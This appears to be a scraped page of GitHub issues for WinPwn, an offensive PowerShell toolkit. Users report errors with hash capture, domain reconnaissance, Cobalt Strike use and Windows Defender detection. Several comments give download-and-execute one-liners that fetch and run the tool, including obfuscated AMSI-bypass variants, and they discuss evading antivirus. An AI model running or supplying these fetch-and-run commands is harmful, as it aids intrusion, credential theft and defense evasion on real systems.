Are there any logs that I can share? I did see that the Inveigh module of WinPwn would open a new PS Script process but going through some earlier issues (posted in Github), I learned that AMSI bypass was not getting applied to Inveigh. So I assume that Inveigh loads and runs on the existing PS session but still I am unable to get the NTLM hashes. No output file in the Directory.

Any help would be greatly appreciated!

WinPwn not downloading anything if webserver uses TLS 1.2!

I've googled 2 minutes and the workaround for this is to type:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

before executing the script. after this everything works perfect ;)
Could you please get thius into the Script? =)

Error when search for potential vulnerable web apps

Hello,

Thank you for such great tool, I'm facing the below error everytime I choose the search for potential vulnerable web apps module:

================ WinPwn ================
Please choose wisely, master:: 12
invoke-expression : At line:1 char:34

  • cmd /c start powershell -Command {$Wcl = new-object System.Net.WebCli ...
  •                              ~
    

Missing closing '}' in statement block or type definition.
At line:1 char:25783

  • ... mRPbmx5LCAkVnVsbkxpbmtzDQogICAgICAgIH0NCiAgICB9DQp9")) | iex);$networ ...
  •                                                             ~
    

Unexpected token ')' in expression or statement.
At line:1 char:25968

  • ... ndColor Yellow 'Searching...';Find-Fruit -FoundOnly -Rhosts $network}
  •                                                                     ~
    

Unexpected token '}' in expression or statement.
At C:\ProgramData\IMPACT\win2023\WinPwn-master\Offline_WinPwn.ps1:4325 char:5

  • invoke-expression 'cmd /c start powershell -Command {$Wcl = new-o ...
    
  • ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
    • FullyQualifiedErrorId : MissingEndCurlyBrace,Microsoft.PowerShell.Commands.InvokeExpressionCommand

in cobalt strike !!!

beacon> powershell WinPwn -noninteractive -consoleoutput -DomainRecon
[*] Tasked beacon to run: WinPwn -noninteractive -consoleoutput -DomainRecon
[+] host called home, sent: 405 bytes
[+] received output:
#< CLIXML
System.Management.Automation.PSCustomObjectSystem.Object1Preparing modules for first use.0-1-1Completed-1 Exception calling "DownloadString" with "1" argument(s): "The server committed a protocol violation. x000D__x000ASection=ResponseStatusLine"x000D__x000AAt line:1 char:1_x000D__x000A_+ IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:43496 ...x000D__x000A+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~x000D__x000A + CategoryInfo : NotSpecified: (:) [], MethodInvocationException_x000D__x000A_ + FullyQualifiedErrorId : WebException_x000D__x000A_ x000D__x000A1Preparing modules for first use.0-1-1Completed-1 1Preparing modules for first use.0-1-1Completed-1 WinPwn : The term 'WinPwn' is not recognized as the name of a cmdlet, function, script file, or operable program. x000D__x000ACheck the spelling of the name, or if a path was included, verify that the path is correct and try again.x000D__x000AAt line:1 char:75_x000D__x000A_+ ... .Webclient).DownloadString('http://127.0.0.1:43496/'); WinPwn -nonint ...x000D__x000A+ ~~~~~~x000D__x000A + CategoryInfo : ObjectNotFound: (WinPwn:String) [], CommandNotFoundException_x000D__x000A_ + FullyQualifiedErrorId : CommandNotFoundException_x000D__x000A_ x000D__x000A

Error when Search for vulnerable Domain Systems - RBCD via Petitpotam + LDAP relay

Hey, it's me again :) ,I got this message when choosing the option 22. Search for vulnerable Domain Systems - RBCD via Petitpotam + LDAP relay
I'm using the offline module

Below the error message:
field : Cannot bind argument to parameter 'Type' because it is null.
At line:12806 char:31

  • lgrmi2_sidusage = field 1 $SID_NAME_USE
    
  •                           ~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidData: (:) [field], ParameterBindingValidationException
    • FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,field

field : Cannot bind argument to parameter 'Type' because it is null.
At line:12839 char:21

  • Flags = field 2 $DsDomainFlag
    
  •                 ~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidData: (:) [field], ParameterBindingValidationException
    • FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,field

Start DAV RPC Scan for Windows Servers only (alternatively we can scan all Servers + Clients but this can take a while)? (yes/no): yes
Searching for active Servers in the domain, this can take a while depending on the domain size
Exception calling "GetNames" with "1" argument(s): "Value cannot be null.
Parameter name: enumType"
At line:3716 char:9

  •     $UACValueNames = [Enum]::GetNames($UACEnum)
    
  •     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : ArgumentNullException

horsier : Cannot validate argument on parameter 'ValidateSet'. The argument is null or empty. Provide an argument that
is not null or empty, and then try the command again.
At line:3720 char:46

  •     horsier -Name UACFilter -ValidateSet $UACValueNames -Type ([a ...
    
  •                                          ~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidData: (:) [horsier], ParameterBindingValidationException
    • FullyQualifiedErrorId : ParameterArgumentValidationError,horsier

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1897 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $SamAccoun ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

The right operand of '-as' must be a type.
At line:1904 char:17

  • ... $ObjectProperties[$] = $Properties[$][0] -as $UACEnum
  •               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : AsOperatorRequiresType

Offline update

Any chance you could update the offline version so that it coincides with main version?

Windows Defender blocking obfuscated mimikatz

When running WinPwn in AMSI - iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/ObfusWinPwn.ps1')

or

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/Obfus_SecurePS_WinPwn.ps1')

Both ways after selecting option 16, Windows Defender picks up the mimikatz obfuscated version as malicious :-(

Tested on testbed Windows server 2016 Standard Edition x64 -

Windows Defender Details:
Antimalware Client Version: 4.18.2004.6
Engine Version: 1.1.17100.2
Antivirus definition: 1.317.173.0
Antispyware definition: 1.317.173.0
Network Inspection System Engine Version: 1.1.17100.2
Network Inspection System Definition Version: 1.317.173.0

Detected by AV

Just a quick message to say all three of the ways to run your script are being blocked by Windows Defendar since this morning on an up to date Win 10.

Can supply any more details if needed but I suspect you can reproduce rather easily.

CAN'T INVOKE EXPRESSION IN FUNCTION WINPWN.

to run and download correctly all the script please type:

iex (new-object net.webclient).downloadstring("https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1");
(Invoke-WebRequest -Uri "https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1" -UseBasicParsing | select content) |
ForEach-Object{
if ((Get-ExecutionPolicy) -eq 'RemoteSigned') {
$_.content | Out-File "$env:TMP/WinPwn.ps1";
cd $env:TMP;
Invoke-Expression "$env:TMP/WinPwn.ps1";
WinPwn
}
}

Network Proxy not detecting accurately

I can see when running winpwn.ps1 that the proxy i have isnt being detected although it is in place.

Searching for network proxy...
No proxy detected, continuing...
Straight after the 'True' Statement from the amsi bypass i get:

Exception calling "DownloadString" with "1" argument(s): "The remote server returned an error: (407) Proxy Authentication
Required."

I can confirm I have a proxy in place.

Missing expression after ','.

Hi there!

I cannot import the WinPwn.ps1 module due to a trailing comma on line 2158.

PS C:\users\public> iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
iex : At line:2158 char:24
+         $consoleoutput,
+                        ~
Missing expression after ','.
At line:1 char:1
+ iex(new-object net.webclient).downloadstring('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : MissingExpressionAfterToken,Microsoft.PowerShell.Commands.InvokeExpressionCommand

PS C:\users\public>

It works ok after the trailing comma is removed.

Thanks,
InfosecMatter

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.